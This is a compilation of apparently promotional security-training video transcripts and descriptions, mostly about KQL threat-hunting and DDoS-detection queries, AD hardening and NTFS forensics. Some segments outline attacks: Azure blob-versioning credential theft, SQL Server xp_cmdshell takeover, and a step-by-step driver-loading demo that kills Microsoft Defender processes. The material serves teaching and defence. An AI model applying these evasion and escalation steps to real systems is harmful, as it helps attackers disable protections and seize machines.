I’m going to show you eight essential queries that cover everything from daily baselining to advanced threat hunting. For each query, I’ll explain what it does, when to run it, and why it matters. Let’s jump right in.”
QUERY 1: Baseline Traffic Overview
First up – the morning routine. This daily traffic overview is what I run first thing every morning. It gives me a 10,000-foot view of what’s happening in my environment.
Here’s why this matters: you can’t spot anomalies if you don’t know your normal. This query shows me daily traffic volume, success rates, failed requests, intrusion attempts, and unique IPs. Look at these key outputs: Total Requests tells me if we’re experiencing unusual volume spikes. Success Rate shows if our services are healthy. Intrusion Attempts – this is my immediate attention flag.
I run this at 9 AM daily. If I see intrusion attempts doubled from yesterday, that’s my first investigation priority. Notice how I’m using a 1-day bin – perfect for daily trends. The key insight here: establish your baseline FIRST, then hunt for deviations.
QUERY 2: Top Attack Sources
Now, when Query 1 shows increased intrusions, I immediately pivot to this: Top Attack Sources. This isn’t a daily query – it’s an incident response query.
Look at what this gives me: the most active malicious IPs, when they first appeared, their last activity, attack types they’re using, target ports, and protocols. This is blocklist gold. See this ‘AttackTypes’ column using make_set()? That shows me all the different attack methods a single IP is using.
I run this after detecting increased intrusion activity. The output directly feeds into my firewall rules and threat intelligence. Notice I’m taking the top 20 – focus on the most impactful threats first. This query turns data into actionable intelligence for my response team.
QUERY 3: Failed Authentication Analysis
This is my go-to for suspicious authentication activity. Failed logins happen, but patterns of failed logins tell a story.
I run this during suspicious activity periods or when monitoring high-value accounts. Watch how I’m grouping by hour – perfect for spotting brute force patterns. The threshold here is key: FailureCount > 3. Adjust this based on your environment.
Look at these columns: Distinct Sources and Distinct Targets. If I see one source hitting many targets, that’s password spraying. Many sources hitting one target? That’s a targeted brute force. The CommonUserAgents field using take_any() gives me samples without overwhelming the output. This query finds what simple alerts miss.
QUERY 4: Port Scanning Detection
Port scanning is recon activity – attackers mapping your network. This continuous monitoring query looks for hosts scanning multiple ports in short timeframes.
The magic is in the time window: 15-minute bins. Why 15 minutes? It’s long enough to catch sustained scans but short enough to alert quickly. The port list here includes common scanning and backdoor ports – customize this for your environment.
Key threshold: PortsScanned >= 3. Scanning 3+ different ports in 15 minutes is suspicious. This query gives early warning – often before actual attacks begin. Run this continuously or every 30 minutes. It’s your early detection system.
QUERY 5: Botnet Command & Control Detection
This is advanced threat hunting. Botnets call home – we want to catch those calls.
I run this during proactive threat hunting or when investigating compromised systems. Look at the statistics here: median payload, 95th and 99th percentiles. Botnet C2 traffic often has distinctive payload sizes.
Grouping by User_Agent is key – many botnets have unique agents. The BotnetActivity > 3 threshold filters noise. This query isn’t just counting – it’s profiling. The percentile calculations help distinguish normal traffic from command traffic. Use this to find compromised systems before they cause damage.
QUERY 6: Protocol Anomaly Detection
This is my favorite for finding clever attackers. Protocol anomalies often indicate evasion techniques or data exfiltration.
The concept: combine protocol and port into a single field, then look for unusual patterns. HTTP on port 2222? SSH on port 443? Those get attention.
The join here compares normal traffic with known malicious traffic. The SuspicionScore uses a case statement to categorize risk. Notice how I’m looking for rare combinations (RequestCount < 10 and UniqueSources > 5) – that’s often discovery activity.
Run this weekly to establish what’s normal, then monitor deviations. This catches what signature-based detection misses.
QUERY 7: User Agent Analysis
Automated tools leave fingerprints in user agents. This query finds scanners and automated tools.
I run this regularly – at least weekly. The has_any operator looks for known tools: nmap, Nikto, curl, etc. But here’s the insight: not all tool usage is malicious. That’s why I calculate SuccessRate and IntrusionRate.
See a user agent with high tool usage but zero intrusions? Probably legitimate security testing. High tool usage with high intrusion rate? That’s an active attacker. The make_set() functions give me context without overwhelming detail. This query separates legitimate scanning from malicious reconnaissance.
QUERY 8: Internal Hosts Communicating Externally
Egress monitoring – catching data leaving your network. This shows which internal IPs are talking to external destinations.
The IP filter startswith “192.168” catches internal IPs – adjust for your subnet. The SuspicionIndex is clever: it weights intrusion attempts most heavily, then unique external IPs, then connection count.
Look for internal servers talking to many external IPs, or workstations sending large payloads outside. The PortsUsed and ProtocolsUsed columns using strcat_array() make the output readable. This catches data exfiltration, beaconing, and unauthorized external communications. Run this daily for critical assets.
Key takeaways
And there you have it – eight KQL queries that should be in every security analyst’s toolkit. Remember, the goal isn’t to write new queries every day, but to have reliable, reusable queries that let you focus on analysis, not syntax.
To recap: start with your daily baseline, drill down on attack sources when needed, monitor authentication patterns, watch for port scanning, hunt for botnets, check protocol anomalies, analyze user agents, and monitor egress traffic.
These queries work together as a system. Save them, customize them for your environment, and run them regularly. The time you save on typing is time you gain for thinking.
If you found this helpful, hit like and subscribe for more practical security content. What queries do you always keep handy? Share in the comments below. Thanks for watching, and stay secure!
Want to learn more about Threat Hunting?
Join our FREE live webinar:
Modern Threat Hunting with AI: 10 Skills for Detecting What Others Miss
Discover how AI is transforming threat hunting, learn advanced detection techniques, explore real-world attack scenarios, and gain practical skills that can help you uncover threats that traditional approaches often miss.
DDoS (Distributed Denial of Service) attacks remain one of the most common and disruptive cyber threats today. Instead of focusing on theory, this video walks you through realistic network data and shows how to identify attack patterns using powerful, real-time analytics.
What you’ll learn:
1. How to detect SYN flood attacks using connection timeouts and source IP patterns
2. How to identify volumetric (bandwidth) attacks through traffic spikes
3. How to uncover distributed attack behavior across multiple IPs and ports
4. How to build a comprehensive detection query combining multiple indicators
5. How to analyze geographic anomalies in attack traffic
Key takeaways:
1. DDoS detection is about recognizing patterns, not single events
3. KQL enables fast, scalable analysis across large datasets
4. Detection thresholds must be tailored to your environment
Best practices covered:
1. Baselining normal traffic
2. Creating alert rules in Azure
3. Enriching logs with threat intelligence
4. Automating responses with Azure services
5. Continuously tuning detection queries
Want to go deeper?
If you’re looking to build real-world threat hunting skills and take your cybersecurity expertise to the next level, check out the “Become a Hunter” module from CQURE Academy (CMAP 2026 – Module 6). This course expands on techniques like the ones shown here and helps you develop a structured, hands-on approach to detecting and investigating threats in modern environments: https://cqureacademy.com/cyber-security-training/cmap-2026-module-6-become-a-hunter/
Whether you’re a security analyst, cloud engineer, or data professional, this video will give you practical techniques to improve your visibility into network threats.
Take these queries, adapt them to your environment, and start uncovering insights in your own data.
TRANSCRIPT
Good morning/afternoon everyone! Today, I’m excited to take you on a practical journey into the world of cybersecurity analytics. We’ll be exploring how to detect DDoS attack symptoms using Kusto Query Language (KQL).
For those unfamiliar, DDoS – or Distributed Denial of Service – attacks remain one of the most prevalent and disruptive cyber threats facing organizations today. These attacks overwhelm your network resources by flooding them with malicious traffic from multiple sources, effectively denying service to legitimate users.
But here’s the good news: with the right tools and queries, we can detect these attacks early and respond quickly. Azure Data Explorer, combined with KQL, gives us powerful capabilities to analyze network traffic patterns and identify anomalies that signal potential DDoS attacks.
Today, I’ll walk you through a realistic dataset of network events containing various DDoS symptoms. We’ll use KQL queries to uncover these patterns, and by the end of this session, you’ll have practical skills to implement similar monitoring in your own environments.
Synflood
“This query targets SYN flood attacks – one of the most common DDoS techniques. In a SYN flood, attackers send numerous TCP connection requests but never complete the handshake, leaving connections half-open and exhausting server resources.
Notice we’re filtering for ‘Timeout’ connection status – these are the failed or incomplete connections. We’re then summarizing by 5-second intervals and destination port.
The dcount function gives us the distinct count of source IPs. In a true DDoS, you’ll see many different IPs contributing to the timeouts.
We filter for intervals with more than 3 timeouts and sort descending.”
“Look at this pattern! We’re seeing clusters of timeouts on port 80 (HTTP) with multiple distinct IPs contributing. The 5-second windows with 5-6 timeouts from 5-6 different IPs is a classic SYN flood signature. Notice how these appear in bursts – this is the attack wave pattern.”
Volumetric
“Now we’re looking at volumetric attacks – when attackers try to consume all available bandwidth by sending massive amounts of data.
This query sums all bytes transferred (both sent and received) in 5-second windows, grouped by protocol. The threshold of 500,000 bytes (about 0.5 MB) in 5 seconds is our anomaly marker – normal traffic rarely reaches this level.
This type of query helps identify bandwidth saturation attacks where the goal is simply to flood the pipe.”
we see over 1.9 million bytes of TCP traffic. That’s nearly 2 MB in just 5 seconds, which is extremely high for a single server.
Notice this is all TCP traffic, and if we investigate further, we’d find these are the large 65,500-byte packets from Amsterdam. This is a classic example of a volumetric attack – the attackers aren’t trying to exploit vulnerabilities, just consume bandwidth.”
Multi
“This is perhaps our most important DDoS detection query. It identifies the core characteristic of a distributed attack: many different sources targeting the same destination port simultaneously.
We’re counting distinct source IPs per destination port in 5-second windows. When we see 4,5,6 different IPs all hitting the same port in a short window, that’s the ‘distributed’ part of DDoS.
This query would catch both the SYN flood on port 80 and the volumetric attack on port 443.”
“These results are telling a clear story. Look at port 80 – in multiple 5-second windows, we see 5-6 different attackers sending requests. That’s the SYN flood we identified earlier.
But also notice port 443 – in the 09:23:50 window, we have 5 distinct IPs all targeting HTTPS. These are the Amsterdam IPs with their large packets. Two different attack types, both caught by the same pattern: multiple sources, single target, concentrated time window.”
Comprehensive
“Now we’re getting sophisticated. This query combines multiple detection methods into a single comprehensive view.
The extend operator with a case statement creates a new column called ‘AttackIndicators’ that categorizes each event based on suspicious patterns:
Small packets (<=64 bytes) with timeout status suggest SYN flood
Extremely high bytes sent (>100,000) indicate bandwidth attacks
Unknown user agents with GET/POST requests point to botnets
We then filter out normal traffic and summarize by these attack indicators.”
“This is beautiful – we can now see the entire attack timeline at a glance. The SYN flood indicators cluster around 09:23:46-09:23:52, then the high bandwidth usage from Amsterdam appears at 09:23:50, followed by more SYN flood activity.
Notice how the bot activity indicator catches many of the suspicious requests with unknown user agents. This query essentially gives us a real-time attack dashboard.”
Geographic
Our final query looks at geographic patterns. In normal traffic, you expect a diverse, steady distribution of requests from various countries. During a DDoS attack, you might see sudden spikes from specific regions.
We’re counting requests by country in 15-second windows. When a single country suddenly produces a burst of traffic, it’s worth investigating – it could indicate a regional botnet activation.”
“Look at the pattern emerging. Russia shows multiple spikes throughout the timeline. China and India also have concentrated bursts. But notice how the Netherlands appears only during the volumetric attack window – 5 requests from the Netherlands in a 15-second period, all during the high-bandwidth attack.
This geographic lens helps us identify attack sources and potentially implement regional blocking if needed.”
Outro
“So what have we learned today? Let me share the key takeaways:
First, DDoS detection isn’t about finding a single ‘smoking gun’ – it’s about recognizing patterns. The queries we’ve explored look for different pieces of the puzzle: request frequency, connection status, bandwidth usage, port diversity, source distribution, and geographic anomalies.
Second, effective detection requires multiple perspectives. No single query catches everything. By combining these approaches, we build a comprehensive monitoring system.
Third, KQL in Azure Data Explorer gives us powerful, real-time analytics capabilities. These queries run in seconds against millions of records, enabling rapid detection and response.
Fourth, context matters. The thresholds we used (5 requests, 3 ports, 500,000 bytes) are examples. In your environment, you’ll need to baseline normal traffic and adjust these thresholds accordingly.”
“As you implement these queries in your own environments, keep these best practices in mind:
Start with baselining: Run these queries during normal operations to understand your typical traffic patterns before setting alert thresholds.
Create alert rules: Convert these queries into Azure Data Explorer continuous exports or connect them to Azure Monitor alerts for real-time notification.
Combine with other data: Enrich your network logs with threat intelligence feeds to identify known malicious IPs.
Automate responses: Consider integrating with Azure Logic Apps or Azure Functions to automatically trigger mitigations when attacks are detected.
Document and tune: Keep records of false positives and refine your queries over time. DDoS techniques evolve, so your detection should too.”
“Thank you all for your attention today. We’ve covered a lot of ground – from understanding DDoS attack patterns to writing sophisticated KQL queries that detect them in real-time.
Remember, in cybersecurity, visibility is power. The queries we’ve explored today give you that visibility into your network traffic. They transform raw log data into actionable intelligence.
I encourage you to take these queries, adapt them to your environment, and start exploring your own network data. You’ll be amazed at what you can discover.
Starting with a simple inspection of a web application, we uncover an exposed Azure Blob Storage container with anonymous listing enabled. From there, we demonstrate how attackers can enumerate additional containers, discover sensitive internal information, and take advantage of blob versioning to recover deleted credential files.
The attack escalates quickly – by retrieving an old version of a Service Principal credential file, we gain authenticated access to Azure resources and ultimately extract secrets from a Key Vault, including administrative and database credentials. This video highlights how small oversights, like public container access combined with versioning, can create serious security risks in cloud environments.
If you want to learn how to identify, exploit, and most importantly secure these kinds of cloud misconfigurations, check out the Live Virtual Cybersecurity Training: Entra ID (Azure AD) from CQURE Academy https://cqureacademy.com/cyber-security-training/lvc-entra-id/
This hands-on course dives deep into real attack paths, identity security, and defensive techniques used by professionals, giving you practical skills you can apply immediately in your own environment.
Stay secure and don’t forget to share, and follow for more CQURE Hacks!
Traditional SOC workflows are slow, relying on manual log reviews and reactive alerting that often leaves you one step behind. When malware hides in encrypted payloads or fileless scripts, standard signatures simply aren’t enough.
In this episode, we move beyond basic searches to implement three powerful queries designed to speed up your analysis:
1. Behavioral Anomaly Detection: Using Time-Series Analysis to establish personal baselines for every IP and protocol. By using statistical Z-scores, we find the “unknown unknowns” that traditional thresholds miss.
2. Predictive Alerting: Implementing machine learning features to calculate multi-dimensional risk scores. This allows you to prioritize the riskiest hosts instead of just the noisier ones.
3. Automated Attack Chain Reconstruction: Using the “serialize” and “next” operators to connect fragmented events into a single, chronological story.
These techniques turn a timeline of raw events into a clear attack campaign. Instead of investigating individual alerts, you see the full progression of the threat, reducing investigation time from hours to minutes.
Master the Full Malware Workflow
Malware rarely arrives as an obvious executable. It hides in macros, encrypted payloads, and fileless scripts that live entirely in memory—leaving no trace on disk for traditional scanners.
Investigating these threats requires two complementary approaches: Static Analysis to examine a file’s structure without executing it, and Dynamic Analysis to monitor its behavior in a controlled environment.
In Module 5 of the Cybersecurity Master Annual Program, “Malware Investigation & YARA Rules,” led by Amr Thabet (Cybersecurity Expert & Malware Researcher, and Author of the book “Mastering Malware Analysis”), you will learn to build the full workflow. From identifying indicators to writing custom YARA rules tuned for your specific environment, this is how you bridge the gap between detection and deep investigation. Join the 1-day course this Thursday, April 16:
Hey everyone, welcome back. If you work in cybersecurity, you know the feeling. Drowning in Lux, chasing alerts, and feeling like you’re always one step behind the attackers. Traditional sock workflows can be painfully slow, relying on manual luxury reviews and reactive alerting. But what if I told you there’s a better way?
Today, we are diving into free advanced KQL queries that can help you analyse security data faster than most SoC teams. We are going beyond the basic searches to show you how to use behavioral anomaly detection using time series analysis, predictive alerting with machine learning, and something most of you were waiting for: automated attack chain reconstruction.
I will be using real network logs showing you exactly how to implement these techniques. Whether you are a security analyst, engineer, or just interested in cybersecurity analytics, just stick around. This could change how you approach threat hunting forever.
Query 1: Behavioral Anomaly Detection
Let’s start the behavioral anomaly detection using time service analysis. This query establishes a normal baseline for each source, IP, port, and protocol combination during June 1st to June 3rd and then it checks June 4th to June 6th data against that baseline using statistical Z scores to find anomalies. Why? It’s faster than traditional methods. No signatures are required. Traditional SOCs rely on known attack patterns or signatures.
This query finds unknown attacks by looking for statistical outliers. Personal baselines. Each IP, port, or protocol gets its own baseline. For example, a web server sending to mex. This is normal, but a DNS server doing it may be highly suspicious. Traditional thresholds. Alerts thread all systems the same maths precision instead of arbitrary thresholds like alert if payload bigger than, for example, 10 megs. This uses standard deviation, so a 3.5 Z score means the event is in the top of 0.02% of expected behavior. Proactive detection.
This one catches data acceleration command and control traffic or malware downloads before they complete, based on statistical anomalies in payload size. In traditional SOC, they get alerts for large file transfers but ignore them because thresholds are set too low, for example, false positives or simply means real exfiltration, because thresholds are too high in our method, a mathematical adaptive baseline that reduces both false positives and false negatives.
Query 2: Predictive Alerting
Let’s move out to predictive alerting with machine learning features. This query calculates a risk score for each source IP based on multiple behavioral features, then prioritizes investigation based on those scores. Why? It’s faster than traditional methods.
First of all, multi-dimensional scoring in traditional SOC alerts may be on too many file logins, port scanning, and so on. But this query combines 8 different features into one risk score. Weighted importance. Notice the weights of unique ports times 0.2 or unique destinations for the same. Scanning many ports and many destinations is worse than just one. Traditional binary alerts miss these nuances. Tool detection.
The query automatically identifies scanning tools like Nmap attack tools, curl, wejet and many different user agents, something which many SOCKS may overlook. What about focus optimization? Top 30 by risk or description? And Azure’s analysts investigate the riskiest host, not the 30 noises or the most recent explainable AI. Unlike black box ML models, you can see exactly how the risk score was calculated. This IP scored 6.8 because it scanned 15 ports plus targeted 8 destinations, plus use nmap and so on. In traditional SOC, it may be inefficient.
Analysts start their day with 200 hours or even more. Investigate randomly or chronically, often wasting time on minor issues with major threats. Wait in our method tells the analyst exactly where to start for maximum impact.
Query 3: Automated Attack Chain Reconstruction
Now let’s have a look at attack chain reconstruction. This is one of the most powerful queries because it doesn’t just find individual attacks; it sequences them into campaigns. Traditional socks say individual alerts. This query shows you the complete attack story. Let’s break out.
First, we filter our data. Look for actual attacks by checking scan type, which gives you both attack and port scan events. We select only the fields we need, and order by attacker IP and timestamp. This chronological ordering is crucial for seeing attack progression. Here is where the magic happens. Surrealize operator preserves raw order.
Then we use the next to look at the next row in sequence, and we filter the quip on the rows where the same attacker appears in consecutive events. Calculate time gaps between attacks. Why does this beat manual analysis? Traditional socks might see this as separate alerts. Our support for this query connects them as one continuous campaign. Now we summarize into an attack campaign. Make a list to create a chronological list of each attack. We calculate totals, time span, and unique targets, and produce all grouped by attackers and attack type. We filter for campaigns with at least two attacks showing sustained effort. Rename columns for clarity and order by total attacks to show the most active attackers first. Why is this revolutionary? Traditional SoC workflow. Another bot attack from IPX, two hours later, alert 2, but an attack from the same IPX. Analysts probably investigate them separately, never connecting them as one campaign. It’s just a waste of time. If a peace meal investigation in our KQL method, one query shows IPX conducted 15, but attack attempts over 4 hours. Again, 8 targets. Complete story in seconds. Analysts understand the scope immediately.
Let’s check the real-world impact check. For example, IP 3.222.94.132. It conducted multiple bot attack attempts across different ports and targets. A traditional SIM would show this as six separate alerts. Our query shows it’s one coordinated campaign. The attack campaign column literally writes the incident report for you, for example, SSH to 114.115.29.125 on port 8080 or SNMP to 11411529.125 on the same 8080 port. You can see the attacker trying different services on the same target. There are a lot of key advantages over traditional methods. Context preservation, so not just that an attack happened, but how it progressed. Time intelligence so calculates the exact time span between attack steps.
Target analysis shows how many different systems were targeted. Port patrol recognition can reveal if attackers are focusing on specific services. The campaign identification group relates attacks that might be ours apart. This isn’t just about finding attacks faster; it’s simply about understanding them better. When you see an attack company, instead of individual alerts, you can prioritize better, respond smarter, investigate deeper, and report accurately. Simply provide management with Campaign 11 intelligence.
The Serialize and Next functions are secret weapons here. It’s quite easy, but they turn a timeline of events into a story of an attack, and stories are what humans understand the best, not rough data points. Now that we can sequence attacks, how do we know which ones to investigate first? That’s where the new query comes in.
That’s it. Three powerful KQL queries that can dramatically speed up your security analysis. Remember, it’s not just about finding threats faster; it’s about finding the right threats first.
The key takeaways from today:
1. Use behavioral baselines to find anomalies before they become incidents.
2. Reconstruct attack sequences to understand the full picture.
3. Prioritize with risk scoring to focus on what matters most.
These techniques can reduce investigation time from hours to minutes, but the real power comes from combining them into a cohesive strategy. What next? Try implementing one of these queries in your environment this week. If you want more content like this, make sure to hit that subscribe button and ring the bell so you don’t miss our next deep dive. Bye.
Starting from an exposed SQL Server instance, we demonstrate how weak credentials can be exploited to gain access using a brute-force attack. Once authenticated as the powerful sa account, the attack quickly escalates beyond the database.
We show how an attacker can:
Validate access to the SQL Server instance
Enable dangerous features like xp_cmdshell
Execute operating system commands directly from SQL
Pivot from database access to full OS-level control
Create administrative users and completely compromise the machine
This episode highlights how small security gaps — like weak passwords and excessive privileges — can lead to catastrophic consequences.
Want to learn how to both exploit and defend against attacks like this in real environments?
In this course, you’ll dive deep into attacking and securing Windows infrastructure, understanding real attack paths, and building practical defensive skills that go far beyond theory.
If you were to describe a typical attack scenario on a company in a few steps – from the initial entry point to full infrastructure takeover – what would it look like?
First, let me clarify how attacks themselves should be perceived, because there are fundamental principles we must understand first. In cybersecurity, there is still a convenient myth that organizations lose because attackers are becoming increasingly advanced. In practice, the opposite is true. Most incidents do not result from breakthrough techniques but from predictable flaws in environment design, identity management, and a lack of control over privilege flow.
From the perspective of someone who regularly simulates attacks on enterprise environments, it is clear that an attack is not a chaotic event. It is a process of navigating a system of dependencies that the organization itself has created. That is precisely why it can be predicted. An attack is often a consequence of architecture, not merely a classically perceived incident.
The biggest strategic mistake lies in treating an attack as “entering the system.” In reality, entry is only the initial moment. The key question is what the environment allows an attacker to do next.
In practice, this means that a single-entry point is rarely a problem in itself; what truly matters is how identities are managed and used within the infrastructure. An attack evolves according to the logic of the environment, not solely the creativity of the attacker. If the infrastructure allows the abuse of one identity to obtain others, then the attack does not need to be sophisticated, it only needs to be consistent.
Credential theft, Pass-the-Hash, Kerberoasting – why are these techniques still so effective today, and why is MFA alone not a sufficient defense?
The main task of security teams is to do everything possible to reduce the risk of a breach. For many years now, MFA has been bypassable, and with a well-executed phishing campaign, bypassing it is often relatively simple. The problem, therefore, does not lie in whether we deploy a specific solution, but in how we approach security techniques.
Pass-the-Hash, Kerberoasting, and many other attack techniques all have defensive counterparts. However, from a strategic perspective, the root causes remain repetitive:
1. Lack of control over identity – privileges are granted ad hoc, without full visibility into their downstream consequences.
2. Excessive trust in architecture and a lack of regular, well-executed (not ad hoc) audits. This inevitably raises the question of whose skills we trust. It is critical that the team performing the tests is experienced not only in testing itself, but also in overall infrastructure security.
3. Lack of logical segmentation, not just network segmentation – boundaries are defined by organizational structure rather than by risk levels.
4. A focus on tools instead of the security model – technology often masks problems rather than solving them.
What are the most surprising security vulnerabilities your team encounters during audits? Are there errors that still surprise you?
When planning a cybersecurity strategy, the most important objective is achieving complete transparency. This means identifying the data sources that tell us what is happening within the infrastructure and correlating that data in a reliable SIEM system. For me, this is the “hello world” of cybersecurity. A lack of transparency in this area remains one of the most serious security gaps I observe.
A theoretically secure cloud environment today requires a thorough understanding of what information is being logged so that, for example, during an incident, we can reconstruct what actually happened. In practice, we almost never see cloud environments properly aligned with current security standards – and the same applies to Active Directory.
In both cases, permissions are often granted unnecessarily or at excessively high levels, which leads directly to privilege escalation. In Active Directory, for example, permissions such as GenericWrite may be granted – sometimes by external applications – only to become lethal to the infrastructure when viewed in a broader security context.
Many organizations implemented Active Directory years ago and have changed little in the configuration since then. How big a risk does this pose, and where should they start “cleaning up”?
In Active Directory based environments – which is practically all enterprise environments – an organization’s actual security level is directly proportional to the quality of its configuration. The same is true for cloud environments and other components.
Of course, new attack techniques continue to emerge, and organizations must respond to them. A good example is PetitPotam, an attack vector discovered several years ago that often still works today. It demonstrated how authentication can be coerced and abused in relay scenarios, particularly in the context of Active Directory Certificate Services (AD CS).
In practice, however, the key is not reacting to individual techniques but eliminating entire classes of problems that enable their use. In the case of AD CS, this includes removing legacy web enrollment pages that allow authentication-related certificate requests.
It is also worth noting that the NTLM authentication protocol – including NTLMv2 – is now a de facto obsolete mechanism that is being systematically phased out. Nevertheless, it remains widespread in enterprise environments due to backward compatibility and dependencies on legacy applications. In practice, it enables the vast majority of “zero-to-hero” attacks – where basic network access is enough to compromise the most privileged account, the Domain Admin. Every organization should already have a plan in place to remove it, if it has not done so already.
From a cybersecurity strategist’s perspective, maintaining long-term control over the state of the environment is far more important than addressing individual vulnerabilities. Active Directory rarely “breaks” all at once; instead, it degrades gradually through operational changes – extended permissions, added exceptions, shortened access paths.
Regular reviews, such as Health Checks, should therefore be treated not as audits, but as elements of continuous risk management. Their purpose is not to find isolated errors, but to identify excessive permissions, uncontrolled trust relationships, escalation paths created by configuration choices, and deviations from the adopted security model.
A particularly critical area is the tiered model, or so-called tiering. In a correctly designed environment, access to the most sensitive resources – Tier 0 – is strictly limited to systems and accounts responsible for identity management and domain control, such as domain controllers, AD management systems, and privileged administrative accounts.
The challenge lies not only in defining these tiers, but in enforcing them. A lack of proper separation inevitably leads to scenarios in which the compromise of a single workstation enables the takeover of the entire domain. A domain compromise, therefore, is not the “next stage” of an attack – it is the logical conclusion of a process that was possible from the very beginning.
When an attack has already occurred, what is the most common mistake organizations make in the first hours after detecting a breach?
The worst mistake is acting without first establishing what actually happened. Most organizations do not lose because they are weak – they lose because they are blind. Therefore, infected components should be isolated as quickly as possible, and internet access should be cut off to prevent further attacker activity.
It is equally important to properly secure forensic evidence – certainly not by restoring machines in the same location – while also focusing on restoring critical business services. Organizations must identify persistence mechanisms, where attackers may remain hidden until infrastructure and internet access are partially restored.
Speed is essential, not only because of regulatory obligations such as the 72-hour incident reporting window, but also because determining what happened is the only way to respond appropriately.
I have been professionally responding to global incidents for many years, and if an organization cannot clearly answer three questions:
1. What happened?
2. Where did it spread?
3. What was accessed – and did any data leak? If so, what data?
…then there is no true incident response readiness. Instead of managing the incident, a narrative is created around it.
The real question is whether we could answer these questions today if we simulated an attack. In the European Union, providing such answers is, to varying degrees, a legal requirement.
During incidents, one thing becomes painfully obvious: a lack of transparency destroys the response. Common problems include:
1. Distributed telemetry
2. Inconsistent logging practices
3. Missing or hidden contextual data
4. Delayed access to critical information
That is why transparency is not about reporting – it is about control. Transparency turns chaos into evidence, evidence into decisions, and decisions into actions that mitigate impact.
Setting up an EDR is a good first step, but simply having it installed doesn’t mean you’re protected. Many organizations rely on default settings, assuming the tools handle everything automatically.
However, modern attackers know exactly how to work around those standard configurations. If your endpoints are invisible to your security team, or if your protection rules aren’t tuned to your specific environment, you’re leaving gaps that are easy to exploit.
The Experiment: Turning the Shield Into a Sieve
In this demo, we start with a properly secured system where Microsoft Defender is fully enabled. To prove it’s working, we run a malicious script, which Defender immediately flags and blocks.
But what happens when we introduce a “trusted” element? We download a vulnerable driver that is properly signed by the Microsoft Windows Hardware Compatibility Publisher. Because it’s signed, the operating system trusts it.
By using the Service Control Manager (sc.exe), we create a kernel-mode service to load this driver. Once the driver is in the kernel, we run a custom process-killer script. The result? Defender-related processes like MsMpEng.exe and NisSrv.exe are terminated. The security icon vanishes from the taskbar, and our malicious code now runs completely undetected.
This highlights a critical reality: to stay ahead, you need to turn your security tools from a basic installation into a hardened shield that actually responds to threats.
Why “Default” Settings are Your Biggest Security Debt
Most security breaches aren’t the result of a lack of tools, but a lack of visibility and hardening. Attackers thrive in the gap between “installed” and “optimized.” When you rely on default configurations, you are essentially using a map that the attackers have already memorized.
To move from a reactive state to a proactive defense, you must understand the “Language of the Kernel.” You need to know not just how to install Defender, but how to make it “blindness-proof” by automating hardening and mastering advanced threat hunting.
Stop being a target of opportunity. Bridge the gap between basic administration and elite security architecture.
Join our upcoming 3-day Masterclass: Configuring and Managing Microsoft Defender for Endpoint, starting April 8th.
Led by CQURE’s Cybersecurity Expert Norbert Krzepicki, this is a “hands-on-keyboard” intensive designed for those who cannot afford to leave their environment to chance. You will move past the defaults, learn to automate EDR hardening with 3rd party tools, and master Kusto for advanced hunting to catch attackers before they can pull the plug on your defenses.
Welcome to the new episode of Secure hacks, in today’s short episode we are going to create “malicious driver 1 binpath” and then we point to the file that will be loaded when the service starts.
We’re going to take a look at how a driver, that is not on Microsoft’s driver blocklist can be abused to interfere with Microsoft Defender.
As you can see, Microsoft Defender is fully enabled and the protection options are turned ON. This is important as we want to clearly demonstrate the before-and-after effect.
Now let’s download two things: a vulnerable driver that is not currently included in Microsoft’s driver blocklist and a script that searches for specific process names and terminates them. These will help us demonstrate how a legitimate, signed driver can be misused.
I will unzip the downloaded archive and move the files into a convenient working directory so we can easily access them later.
Before doing anything else, let’s confirm that Defender is actively protecting the system. I’ll run the Invoke-Shellcode command in PowerShell. And as expected — Defender immediately detects the script as malicious and blocks it. This confirms real-time protection is functioning correctly.
Now let’s inspect the driver. I’ll open the file properties and navigate to Digital Signatures. Here we can see that the driver is properly signed — which makes it trusted by the operating system. That’s a key detail.
Next, let’s load this driver. I’ll change the directory to where the driver file is located and use the service control manager to create a new Windows service entry.
so SC.exe create MaliciousDriver1 binpath and then we point to the file that will be loaded when the service starts.
type kernel tells Windows this is a kernel-mode driver, not a normal user-mode service.
Now let’s start the service. Next we will compile our process killer tool using cargo build release.
After compilation, let’s navigate to the newly created directory and launch our script, it will run for a few moments.
Now let’s try running Invoke-Shellcode again. This time, it is no longer flagged as malicious and it’s not being blocked like before.
Also, the Defender icon disappears from the taskbar.
Finally, let’s check Task Manager. We’ll look for Defender-related processes such as: MsMpEng.exe, NisSrv.exe, MpCmdRun.exe
And as you can see they’re no longer running. This demonstrates how a signed driver can be abused to disable security protections at the kernel level.
It also highlights why maintaining and enforcing driver blocklists, and keeping systems updated, is critical.
When you remove a file in Windows, the operating system marks the space as available, but the data often stays behind. By using Sleuthkit’s fls tool and MFTECmd, we can bypass the GUI to read the Master File Table directly.
This allows us to see deleted entries and even track the source URL via the Zone.Identifier stream. One of the most critical findings in this demonstration is the behavior of resident files.
Small files under 700 bytes are stored entirely within the MFT record itself rather than separate disk clusters. Because the MFT is allocated space, standard free space wipes only target unallocated clusters, leaving resident data completely untouched and functional for recovery.
This demonstration highlights several critical forensic principles:
Deleting a file does not erase it.
NTFS keeps metadata in the Master File Table.
The USN Journal records change events.
Free space wiping does not affect allocated structures.
Resident files stored inside the MFT can survive wipe operations.
The operating system shows what is allocated.
Forensics shows what still exists.
Want to go deeper?
Take your technical skills to the next level with our 4-day intensive course: Windows Security and Infrastructure Management with Windows Internals, starting on March 23rd or June 15th. This 28-hour deep dive is designed to turn IT professionals into elite security practitioners by uncovering the inner workings of the Windows OS.
The program provides a complete view of the system’s architecture – from process and thread management to the complexities of memory analysis and storage. You will gain a strategic understanding of system security mechanisms, startup and shutdown sequences, and layered network services. By mastering infrastructure security solutions and event tracing, you’ll be able to identify points of entry and manage complex enterprise environments with precision.
The masterclass is led by Amr Thabet, a malware researcher and founder of MalTrak with over 12 years of experience working with Fortune 500 companies. He is a recognized industry expert and author of Mastering Malware Analysis, dedicated to helping professionals build expertise in threat hunting and protecting organizations from targeted attacks.
In this demonstration, we’ll analyze a mounted VHD attached as drive X:, labeled CQ_Demo.
We’ll simulate a small forensic investigation to show that deleted does not mean destroyed — and even wiping free space may not eliminate evidence.
First, I’ll open C:\Evidence\Recovery to show it’s completely empty. This is where any recovered artifacts will be placed. Now under This PC, we can see the mounted drive: CQ_Demo (X:).
The drive is empty to begin with — no user files present. The USN Change Journal is currently not active. The USN Journal is an NTFS feature that logs file system changes — such as file creation, modification, and deletion.
Instead of asking Windows, we ask NTFS directly using Sleuthkit’s fls tool. This reads the Master File Table — the core structure of NTFS. There are no deleted user files at this stage.
